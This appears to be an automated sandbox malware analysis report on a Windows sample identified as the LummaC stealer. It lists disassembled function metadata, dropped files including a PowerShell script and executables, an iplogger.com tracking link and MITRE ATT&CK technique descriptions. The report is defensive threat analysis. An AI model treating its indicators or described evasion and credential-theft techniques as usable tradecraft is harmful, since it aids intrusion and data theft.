?lexer@Engine@QQmlJS@@QBEPAVLexer@2@XZ.OX7I8331HPIJ7S9YM876UXZCAF9K ref: 013ACDE6

Strings

0, xrefs: 013ACF78

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID: ?lexer@Engine@Lexer@2@
String ID: 0
API String ID: 1098866180-4108050209
Opcode ID: af43258b6c2c33bf94c6a25fddb112ce8df32740b6c589a77deb50c6e7f80ce8
Instruction ID: 11f71cbc09caa7778fa94b858b56a7fdf0f5f3b22110687127d1b9e1e8414cb6
Opcode Fuzzy Hash: af43258b6c2c33bf94c6a25fddb112ce8df32740b6c589a77deb50c6e7f80ce8
Instruction Fuzzy Hash: AC7148715007058FDB54CF1CC4C0AA6BBE5FF89324F5492A9ED588F25AEB30E995CBA0

Function 01829030 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 0182904B

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 94aef52d0ec184434d4ff3e5e6d157e1d456abb415ef2f169f2d793de7871ba2
Instruction ID: f437c6377ebb2cee88b3584a853d670159b0333fca9836a76ae639b4d0936eb2
Opcode Fuzzy Hash: 94aef52d0ec184434d4ff3e5e6d157e1d456abb415ef2f169f2d793de7871ba2
Instruction Fuzzy Hash: 46513871A002299FDB25CF1CD8807D9BBE4FF89328F04422AF968C7690D775DA94CB81

Function 013D3380 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Invalid regular expression flag '%0', xrefs: 013D39A5
QQmlParser, xrefs: 013D39AE

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID: Invalid regular expression flag '%0'$QQmlParser
API String ID: 0-4235388840
Opcode ID: 61853b2b3c54f5b5a368be8c95d08d541d567d6c135767e007b9c52debeb7b00
Instruction ID: 2bcface686887aae3ab3ea895b2748220c77956bb0e3d81877d1cbd366e629f8
Opcode Fuzzy Hash: 61853b2b3c54f5b5a368be8c95d08d541d567d6c135767e007b9c52debeb7b00
Instruction Fuzzy Hash: D0112375214302BBE318AB28D904BB6BBA8FF4071CF80011DF9948B680D775EC69C796

Analysis Process: powershell.exePID: 1588, Parent PID: 2500COMMON

Executed Functions

Function 07E51518 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1882801173.0000000007E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45f8bff0dcba8d3032c59afc3cb59bdef1c81de55c0092099b4b96d3247a655f
Instruction ID: 8eea92312f4f52594844672739d68e55efd1c4e9446d48cfc7ba8a7483c0bd39
Opcode Fuzzy Hash: 45f8bff0dcba8d3032c59afc3cb59bdef1c81de55c0092099b4b96d3247a655f
Instruction Fuzzy Hash: BB1249B1B0531D8FDB258B7998107AABBA6AFC2354F14806BCD05CF281DB35CD81C7A2

Function 03703FA0 Relevance: .6, Instructions: 565COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875653450.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f114a742beef97cf715d260a2339233b423bc715b3956e743de804d8b4a21a85
Instruction ID: b5d4bf0c9e7a27c609bcd56650837d35cf726ece6364d235e8f189e4ad245aee
Opcode Fuzzy Hash: f114a742beef97cf715d260a2339233b423bc715b3956e743de804d8b4a21a85
Instruction Fuzzy Hash: DD22CF70A08245DFCB16CF69C890AAAFBF1FF4A310B198196D555DB3A2C735EC41CBA1

Function 07E5150F Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1882801173.0000000007E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a46c201f2a6f8f651e5cf7140c49efd0ed78dd9830d7c586113b358f5bde90
Instruction ID: ed377b3a571d66cecda45c5039e6fde203407b6323ce095567ebe9c40ee56616
Opcode Fuzzy Hash: a1a46c201f2a6f8f651e5cf7140c49efd0ed78dd9830d7c586113b358f5bde90
Instruction Fuzzy Hash: 6331F6F0B0220E9FCB148F68855176677A6AB80398F19826ADE059F341DB75DCC1CBA5

Function 03704198 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875653450.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b0c0e5de6b5b1a3f8806769b1b80ad6b987b42ffb3874daa8739d2f44d5713d
Instruction ID: 38ea0e2d71ca922aff5da6a53513807c65d62d88ebcfb24c54edf3d98677a854
Opcode Fuzzy Hash: 2b0c0e5de6b5b1a3f8806769b1b80ad6b987b42ffb3874daa8739d2f44d5713d
Instruction Fuzzy Hash: 2E415874A00205CFCB15CF9AC594AAAFBB1FF48310B15819AD911AB3A5C736EC91CFA4

Function 03703010 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875653450.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5bfc0fb00dbc6d6c2dfb14bfdebd9eb66f50afb6c93e412efa4268473d4b32
Instruction ID: 5fe922adf6eeb3e2906e11caebaff18d11080c9270242313829c4f6244810593
Opcode Fuzzy Hash: 5c5bfc0fb00dbc6d6c2dfb14bfdebd9eb66f50afb6c93e412efa4268473d4b32
Instruction Fuzzy Hash: 16215E74A05209CFCB00CF58C580AAAFBF5FF49300B14819AD855EB352C335EC41CBA1

Function 03703000 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875653450.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dcd1cb6d18e2bd8f55841a2d26aa69a2ab0540ec89074f1cebf4b6770963ed9
Instruction ID: 4108dd83ad0a8c677dd967eb3d9c7e1d42fa57187bda0b5a31247352699382fe
Opcode Fuzzy Hash: 3dcd1cb6d18e2bd8f55841a2d26aa69a2ab0540ec89074f1cebf4b6770963ed9
Instruction Fuzzy Hash: 90211A78A0420A9FDB01DF98D9809AEFBF5FF49310B1580A5E859EB352C731EC41CBA1

Function 0365D005 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875237465.000000000365D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0365D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_365d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfb2bc087317597fd04b4ae3403103dffea8583d935867e5729dc7506594bc0
Instruction ID: d5c30e4d4aa470a2ec887b8fd8b40777a73609556e0e842fa11d0303515954cb
Opcode Fuzzy Hash: 8cfb2bc087317597fd04b4ae3403103dffea8583d935867e5729dc7506594bc0
Instruction Fuzzy Hash: 4A012D6240D3C05FD7168B258D94752BFA8DF43224F1985DBEC888F2E3D2695C45CB72

Function 0365D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1875237465.000000000365D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0365D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_365d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce85eb491ea493a18c921aa017f51edb7ad5d67b2c805645bbe6415e38e1d38c
Instruction ID: 19b0b4284f2da85b1d6307a899a6d7491b497f91c2b01dba817ff67a83e723a2
Opcode Fuzzy Hash: ce85eb491ea493a18c921aa017f51edb7ad5d67b2c805645bbe6415e38e1d38c
Instruction Fuzzy Hash: EA01A7325043449BE7209E15CD84B66FF98DF41265F18C56AFD484B2C2C6799886CAB5

Input	Output
URL: https://iplogger.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://iplogger.com
URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying you are human. This may take a few seconds.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://iplogger.com/15PRC4 Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4kN17cL4Tn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\2d2c1323

C:\Users\user\AppData\Local\Temp\2e14ca08

C:\Users\user\AppData\Local\Temp\4e7a24a8

C:\Users\user\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1

C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe

C:\Users\user\AppData\Local\Temp\RarSFX0\silesoft.url

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0rpbogzy.50o.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khdvscpl.4qc.ps1

Windows Analysis Report
4kN17cL4Tn.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre